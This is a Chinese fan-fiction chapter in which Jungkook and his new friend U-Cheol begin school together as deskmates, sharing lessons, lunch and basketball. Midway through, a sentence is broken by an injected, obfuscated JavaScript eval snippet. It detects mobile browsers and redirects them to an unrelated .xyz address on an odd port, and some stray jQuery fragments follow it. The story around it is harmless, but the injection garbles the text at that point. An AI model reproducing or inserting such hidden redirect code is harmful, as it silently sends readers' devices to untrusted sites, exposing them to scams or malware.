Big Hit地下工作室那盏常年不灭的LED灯，终于在某个凌晨两点熄灭了。田宇澈摘下沉重的监听耳机，揉了揉因长时间专注而酸胀的太阳穴，屏幕上复杂的音轨缩略图安静地排列着，标记为《Aurora Bridge》的工程文件闪烁着保存完成的绿光。这是他熬了整整一周的心血，一首融合了俄罗斯手风琴悠扬旋律、中式五声音阶婉转线条和韩式电子鼓点强烈律动的实验性作品，灵感来源于那个被柾国称为“97极光”的夜晚。
推开工作室厚重的隔音门，走廊里清冷的空气带着消毒水的味道涌入肺腑。疲惫感后知后觉地涌上来，脚步有些虚浮。他走到宿舍门口，动作极轻地拧开门锁，生怕吵醒里面沉睡的人。
客厅里一片漆黑，只有窗外首尔不眠的霓虹透进微弱的光。宇澈借着这点光亮，正准备摸黑回自己上铺，却瞥见沙发角落里蜷着一小团黑影。
是柾国。
他怀里抱着宇澈那件常穿的灰色连帽卫衣，脑袋歪在沙发扶手上，睡得正沉。柔和的霓虹光勾勒出他安静的侧脸，长长的睫毛在眼下投下小片阴影，鼻翼随着呼吸轻轻翕动，嘴角还微微上扬，像个得到心爱玩具后满足入睡的孩子。茶几上放着一个空了的牛奶杯和半块包装精美的红豆糯米糕——显然是外婆的手笔。
宇澈的心像是被什么东西轻轻撞了一下，连日熬夜的烦躁和紧绷感在瞬间被这毫无防备的睡颜熨平。他放轻脚步走过去，蹲下身，小心翼翼地想抽走被柾国紧紧抱在怀里的卫衣。刚一动，柾国就无意识地哼唧了一声，眉头微蹙，把卫衣抱得更紧，脸颊还在布料上蹭了蹭，像只护食的小兽。
宇澈动作顿住，无奈地勾起嘴角。他放弃了拿回衣服的念头，转而拿起旁边沙发背上叠好的薄毯，轻轻展开，盖在柾国身上。毯子落下时，柾国似乎感觉到了暖意，紧蹙的眉头舒展开，甚至还往毯子里缩了缩，发出一声满足的喟叹。
宇澈蹲在他身边，借着微弱的光线看了他一会儿。手指动了动，最终只是极轻地拂开柾国额前那缕睡得翘起来的碎发。指尖触碰到温热的皮肤，带着少年人特有的干净气息。他没再停留，直起身，悄无声息地走向浴室。
清晨的阳光透过宿舍薄薄的窗帘，在地板上投下明亮的光斑。宇澈被一阵刻意压低的、兴奋的窸窣声吵醒。他睁开眼，看到柾国正趴在床边，眼睛亮得像盛满了星星，手里捏着两张崭新的学生证，几乎要怼到他脸上。
“澈儿！澈儿！快看！” 柾国的声音因为激动而压得尖细，“办好了！你的学籍！今天！今天我们就可以一起去上学了！同桌！我们是同桌！” 他兴奋地在原地蹦跶了两下，床板被他震得微微摇晃。
宇澈坐起身，接过那两张还带着塑封味道的学生证。一张是他熟悉的柾国的证件照，笑容灿烂，兔子眼明亮。另一张，是他自己的照片，背景是标准的蓝色幕布，表情平静，眼神带着点初来乍到的疏离。姓名栏清晰地印着：??? (Jeon U-Cheol)，班级和柾国一模一样。
“动作这么快？” 宇澈有些意外，他知道方PD和母亲一直在协调学籍的事，但没想到暑假还没完全结束就办妥了。
“那当然！方PD亲自出马的！” 柾国得意洋洋，仿佛是他办成的一样，“快起床！第一天不能迟到！我们要一起走进教室！让所有人都看到！” 他拽着宇澈的胳膊就要把人拉起来，力气大得惊人。
宇澈被他拽得一个趔趄，无奈地按住他：“松手，果果。我洗漱。”
“哦哦！那你快点！” 柾国松开手，却像条小尾巴一样跟到浴室门口，倚着门框，看着宇澈刷牙洗脸，嘴里还不停地念叨着学校的布局、哪个老师最有趣、午餐哪家店最好吃……
通往学校的街道两旁，高大的银杏树撑开浓密的绿荫，蝉鸣声此起彼伏，宣告着夏日的尾声。空气里弥漫着暑气蒸腾的草木气息和隐约的柏油味。
柾国像只出笼的小鸟，脚步轻快得几乎要飞起来。他一会儿跑到宇澈前面，倒退着走，眉飞色舞地讲着学校趣事；一会儿又并肩而行，手臂时不时蹭到宇澈的胳膊。他今天特意穿了件新买的白色T恤，头发也精心打理过，露出光洁的额头，整个人在晨光里闪闪发光。
“澈儿你看！前面那个路口右转就是！那个蓝色屋顶的就是我们教学楼！” 柾国指着前方，声音里是抑制不住的雀跃。
宇澈安静地听着，目光扫过陌生的街道、穿着同样校服匆匆走过的学生、路边热气腾腾的早餐摊。这是他第一次踏入韩国的校园生活，不同于广东重点高中的严谨规整，也不同于童年俄罗斯学校的开阔自由，这里的一切都带着一种独特的、属于柾国世界的鲜活气息。他肩上背着和柾国同款不同色的书包，里面装着新领的课本和文具。
踏进教室的瞬间，喧闹的空气似乎凝固了一瞬。几十道目光齐刷刷地投射过来，带着好奇、探究，还有对柾国身边这个陌生而气质独特的新同学的打量。
“田柾国！这是谁啊？你亲戚？” 一个嗓门洪亮的男生率先喊道。
“哇，好帅！混血儿吗？” 几个女生凑在一起小声议论。
柾国挺直了腰板，脸上扬起一个灿烂又带着点小骄傲的笑容，一把搂住宇澈的肩膀，声音洪亮地宣布：“什么亲戚！这是我最好的兄弟！田宇澈！从今天起就是我们班的新同学了！而且——” 他故意拖长了调子，把宇澈拉到靠窗那两个并排的空位，“是我的同桌！”
“哇哦——！” 教室里顿时响起一片善意的起哄声和鼓掌声。
宇澈被柾国按着肩膀坐下，感受到周围热切的目光，脸上依旧维持着平静，耳根却悄悄泛起了不易察觉的红晕。他拿出书本和文具，整齐地摆在桌面上。柾国则凑过来，脑袋几乎要碰到宇澈的，指着课本小声说：“澈儿你看，这个老师讲课可有意思了，就是语速有点快，不过没关系，我笔记记得可好了！包教包会！”
上课铃声响起。班主任走了进来，简单介绍了新同学。宇澈起身，用清晰沉稳的韩语做了简短的自我介绍，不卑不亢的态度赢得了老师赞许的目光。
第一节课是数学。老师语速果然很快，板书也龙飞凤舞。柾国听得聚精会神，时不时在笔记本上奋笔疾书，遇到关键点，还会用胳膊肘轻轻碰碰宇澈，把笔记本往他那边推一点，示意他看自己画的示意图或标注的重点。宇澈的理科底子很好，理解起来并不困难，但他很享受柾国这种毫无保留的分享和带着点小得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15795888|175005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意的“指导”。
课间休息，柾国立刻被一群男生围住，七嘴八舌地打听新同桌的来历。柾国像只开屏的小孔雀，滔滔不绝：“宇澈可厉害了！会弹钢琴！会作曲！还会中国功夫！跆拳道黑带！中俄韩三国语言都超流利！” 他每说一句，周围就响起一片惊叹声。宇澈坐在座位上，安静地看着窗外操场上的绿茵，嘴角噙着一丝无奈又纵容的笑意。
午餐时间，柾国熟门熟路地拉着宇澈冲向食堂。“澈儿！这边！最好吃的炸猪排在这排队！” 他像个小导游，在拥挤的人群中灵活穿梭，还不忘回头确认宇澈有没有跟上。两人端着堆满食物的餐盘好不容易找到空位坐下，柾国立刻把自己盘子里的煎蛋夹到宇澈碗里：“这个给你！补充蛋白质！下午还有体能训练呢！”
宇澈看着碗里金黄的煎蛋，又看看柾国亮晶晶的、期待夸奖的眼神，默默把自己盘子里的草莓布丁推了过去。柾国立刻眉开眼笑：“澈儿最好啦！”
下午的课程是美术和体育。美术课上，老师让大家自由创作“我的暑假”。柾国咬着画笔杆，皱着眉苦思冥想，最后画了一幅色彩极其绚烂的抽象画：扭曲的线条代表练习室的汗水，一团明亮的黄色光晕代表舞台，角落里还有一只小小的、叼着草莓的兔子。而宇澈的画风则截然不同，他用铅笔勾勒出了地下工作室的局部特写：堆叠的耳机、发光的电脑屏幕、散落的乐谱，光影处理得细腻而冷静。两幅画并排放在一起，风格迥异，却又奇异地和谐。
体育课是篮球。宇澈扎实的武术底子让他在场上移动灵活，防守稳健，传球精准。而柾国则像一团跳跃的火焰，爆发力惊人，突破犀利。两人一个眼神，一个默契的挡拆配合，柾国接球起跳，漂亮的空心入网！落地时，他兴奋地冲过来，跳起来和宇澈击掌，汗水在阳光下闪闪发亮：“澈儿！传得漂亮！”
夕阳西下，放学的铃声悠扬。两人并肩走出校门，影子在身后拉得很长。一天的喧嚣沉淀下来，只剩下夏日黄昏的宁静和身边人絮絮叨叨分享的课堂趣事。
“澈儿，今天开心吗？” 柾国侧过头，眼睛映着晚霞的金光，认真地问道。
宇澈看着前方被夕阳染成橘红色的街道，感受着书包里新课本的重量，耳边是柾国轻快的声音，还有手腕上残留的、篮球场上击掌时对方掌心滚烫的温度。他轻轻“嗯”了一声，声音里带着一丝不易察觉的暖意。
开心吗？也许不仅仅是开心。这是一种久违的、踏实的归属感。从俄罗斯的雪原，到广东的骑楼，再到首尔这间喧闹的教室和身边这只永远活力四射的兔子……世界很大，但此刻，同桌之间那不到一尺的距离，以及书包偶尔碰撞发出的轻响，这就是最安心的时候了。
暑假的尾声在书页翻动和笔尖沙沙声中悄然滑过。练习生的高压世界仿佛被暂时隔绝在这方小小的课桌之外。这里只有阳光、蝉鸣、粉笔灰的味道，还有身边那个会偷偷在课本上画小兔子、会把最大块的炸猪排分给他、会因为他解出一道难题而比自己还高兴的同桌。
属于他们的学生时代，在这个夏末，伴随着转学籍的尘埃落定，正式拉开了温暖而平凡的序幕。而练习室里的汗水与灯光，将在放学铃声响起后，等待着他们的归来。